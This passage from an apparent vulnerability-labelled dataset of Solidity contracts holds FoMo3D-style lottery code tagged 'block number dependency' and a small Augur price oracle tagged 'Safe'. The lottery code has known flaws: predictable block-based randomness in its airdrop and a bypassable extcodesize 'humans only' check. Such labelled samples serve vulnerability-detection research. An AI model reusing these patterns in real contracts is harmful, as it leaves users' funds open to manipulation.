modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBookMain.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBookMain.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBookMain.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBookMain), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBookMain), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBookMain.getPlayerID(msg.sender); bytes32 _name = PlayerBookMain.getPlayerName(_pID); uint256 _laff = PlayerBookMain.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); if (!address(FundForwarderMain).call.value(_com)(bytes4(keccak256(""deposit()"")))) { _p3d = _p3d.add(_com); _com = 0; } round_[_rID].mask = _ppt.add(round_[_rID].mask); if (_p3d > 0){ FundForwarderMain.deposit.value(_p3d)(); } _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _com = _eth / 50; uint256 _p3d; if (!address(FundForwarderMain).call.value(_com)(bytes4(keccak256(""deposit()"")))) { _p3d = _com; _com = 0; } uint256 _long = _eth / 100; otherF3D_.potSwap.value(_long)(); uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { FundForwarderMain.deposit.value(_p3d)(); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } function activate() public { require( msg.sender == DEV_1_ADDRESS, ""only team just can activate"" ); require(address(otherF3D_) != address(0), ""must link to other FoMo3D first""); require(activated_ == false, ""fomo3d already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } function setOtherFomo(address _otherF3D) public { require( msg.sender == DEV_1_ADDRESS, ""only team just can set"" ); require(address(otherF3D_) == address(0), ""silly dev, you already did that""); otherF3D_ = otherFoMo3D(_otherF3D); } }",./Dataset/block number dependency (BN),0,0 0x023e27edd55dfbeb0925685175afcc2867686aa6_RepPriceOracle.sol,"pragma solidity 0.4.20; contract IOwnable { function getOwner() public view returns (address); function transferOwnership(address newOwner) public returns (bool); } contract Ownable is IOwnable { address internal owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } function getOwner() public view returns (address) { return owner; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner returns (bool) { if (_newOwner != address(0)) { onTransferOwnership(owner, _newOwner); owner = _newOwner; } return true; } // Subclasses of this token may want to send additional logs through the centralized Augur log emitter contract function onTransferOwnership(address, address) internal returns (bool); } contract IRepPriceOracle { function setRepPriceInAttoEth(uint256 _repPriceInAttoEth) external returns (bool); function getRepPriceInAttoEth() external view returns (uint256); } contract RepPriceOracle is Ownable, IRepPriceOracle { // A rough initial estimate based on the current date (04/10/2018) 1 REP ~= .06 ETH uint256 private repPriceInAttoEth = 6 * 10 ** 16; function setRepPriceInAttoEth(uint256 _repPriceInAttoEth) external onlyOwner returns (bool) { repPriceInAttoEth = _repPriceInAttoEth; return true; } function getRepPriceInAttoEth() external view returns (uint256) { return repPriceInAttoEth; } function onTransferOwnership(address, address) internal returns (bool) { return true; } }",Safe,8,8 3659.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract Fomo60Min is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xe9f984847c8bd1c8842d108e2755be0d4eac7dba); address private admin = msg.sender; string constant public name = ""fomo60min""; string constant public symbol = ""fomo60min""; uint256 private rndExtra_ = 30 minutes; uint256 private rndGap_ = 30 minutes; uint256 constant private rndInit_ = 30 minutes; uint256 constant private rndInc_ = 10 seconds; uint256 constant private rndMax_ = 1 hours; uint256 constant private preIcoMax_ = 100000000000000000000; uint256 constant private preIcoPerEth_ = 1000000000000000000; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(30,6); fees_[1] = F3Ddatasets.TeamFee(43,0); fees_[2] = F3Ddatasets.TeamFee(56,10); fees_[3] = F3Ddatasets.TeamFee(43,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = 